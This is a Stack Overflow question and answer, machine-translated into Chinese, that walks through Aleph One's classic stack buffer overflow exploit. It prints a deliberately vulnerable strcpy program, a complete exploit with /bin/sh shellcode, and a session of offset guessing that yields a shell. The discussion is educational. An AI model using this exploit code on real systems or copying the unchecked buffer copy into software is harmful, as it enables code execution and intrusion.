【问题标题】:Can you explain the method of finding the offset of a buffer when looking for buffer overflow potential你能解释一下在寻找缓冲区溢出可能性时找到缓冲区偏移量的方法吗
【发布时间】:2015-12-06 11:26:37
【问题描述】:

我正在查看aleph's article on phrack magazine。下面的代码也可以在那里找到。

我们有一个易受攻击的可执行文件,它的代码是:

vulnerable.c

void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}

现在,由于我们真的不知道,当试图攻击该可执行文件时(通过溢出buffer),buffer 的地址是什么。我们需要知道它的地址,因为我们想要覆盖 ret 以指向 buffer 的开头(我们在其中放置我们的 shellcode)。

文章中描述的猜测过程如下:

我们可以创建一个程序,将缓冲区大小作为参数,并且 从它自己的堆栈指针的偏移量(我们相信我们的缓冲区 想溢出可能住)。我们将溢出字符串放在一个 环境变量,所以很容易操作:

exploit2.c

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] = //this shellcode merely opens a shell
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}

现在我们可以尝试猜测缓冲区和偏移量应该是什么:

[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$

我不明白作者的意思是什么,在explot2.c 中,我们猜测vulnerable.c 中的缓冲区大小,它与堆栈指针有偏移。

  • 为什么我们在exploit2的堆栈指针上应用这个偏移量?
  • 这对vulnerable 有何影响?
  • 除了构建EGG 环境变量之外,exploit2.c 的用途是什么?
  • 为什么最后要叫system("/bin/bash");
  • 一般来说vulnerableexploit2 之间发生了什么?

【问题讨论】:

    标签: c stack-overflow reverse-engineering buffer-overflow shellcode


    【解决方案1】:

    exploit2 的唯一目的是构建 egg 变量,需要将其作为参数传递给vulnerable。它可以被修改为自己调用vulnerable

    shellcode 变量包含调用 shell 的函数的机器代码。目标是将这段代码复制到vulnerablebuffer变量中,然后覆盖vulnerablemain函数的返回地址指向shell代码的入口点,即地址变量buffer。堆栈向下增长:堆栈指针寄存器(32 位 x86 架构中的esp)包含当前函数的局部变量使用的最小地址,在更高的地址我们找到其他局部变量,然后是当前执行的返回地址函数,然后是被调用者的变量等等。对变量的溢出写入,例如vulnerable 中的buffer,将覆盖内存中buffer 之后的任何内容,在这种情况下,main 的返回地址是因为buffermain 的局部变量功能。

    现在我们知道该做什么了,我们需要一些信息:

    • buffer变量的地址,我们称之为bp
    • main函数的返回地址的地址,我们称之为ra

    如果我们有这些信息,我们可以伪造一个漏洞利用字符串EGG,这样:

    • 它的长度是ra - bp + sizeof(void*)以便溢出字符串buffer足以覆盖返回地址(sizeof (void*是返回地址的大小)
    • 开头是要执行的exploit代码,结尾是地址bp

    请注意,我们只需要粗略猜测字符串的长度,因为我们可以使字符串更长,并在其上不断重复地址bp,但如果我们需要计算准确的bp 地址希望shellcode正确执行。

    我们首先猜测覆盖返回值所需的字符串长度:600 就足够了,因为它会触发Illegal instruction 错误。找到后,我们可以查找bp 地址。

    我们知道bp 在堆栈的底部,因为这是存储局部变量的地方。我们假设vulnerableexploit2 中的堆栈地址相同,我们测量exploit2 中的堆栈地址并开始四处寻找更改offset。一旦我们得到正确的偏移量(导致addr 等于目标bp 的偏移量),当控制流从vulnerablemain 函数返回时,shell 代码将被执行。

    如果您想测试此代码,请记住,这在现代机器中不起作用,因为操作系统使用执行预防技术将包含数据的页面标记为不可执行。

    【讨论】:

    • 1.我可以通过使用setarch 'uname -m' -R /bin/bash 打开一个shell 来禁用ASLR 并通过使易受攻击的可执行文件的数据段禁用DEP 来测试它(有启用它的工具)。 2. 你知道最后一行system("/bin/bash"); 的目的是什么吗?为什么我们需要在被exploit打开的shell中运行易受攻击?
    • 2.这是因为putenv修改了当前进程和子进程的环境(这里是system打开的那个),所以你需要在那里运行vulnerable才能定义EGG变量.您也可以让exploit 打印字符串并手动复制粘贴,但您必须注意转义
    • 4.此攻击假定未部署 ASLR。现在当vulnerable 在我的机器上运行时,这个猜测过程是否相关? (我认为这不是因为在那种情况下我可以调试它并确切地查看buffer 的地址是什么)。什么情况?也许我是管理员运行vulnerable 的机器中的用户(不是管理员)?还是我试图攻击服务器上的进程?
    • 正如你所猜测的,ASLR 将使猜测堆栈地址变得更加困难,因为它专门设计用于使这种攻击更加困难。在您可以反汇编 vulnerable 二进制文件的情况下,您可以更好地猜测堆栈中的地址,而不是希望它与您的程序相同的猜测。当二进制文件不可用(即远程服务)时,猜测是您唯一的选择。
    • 请记住,虽然在此示例中输入字符串来自命令行,但理论上它可以来自任何输入,例如标准输入上的 readln 或网络服务器中的请求字符串
    猜你喜欢
    • 2012-01-09
    • 1970-01-01
    • 2013-11-06
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-06-13
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多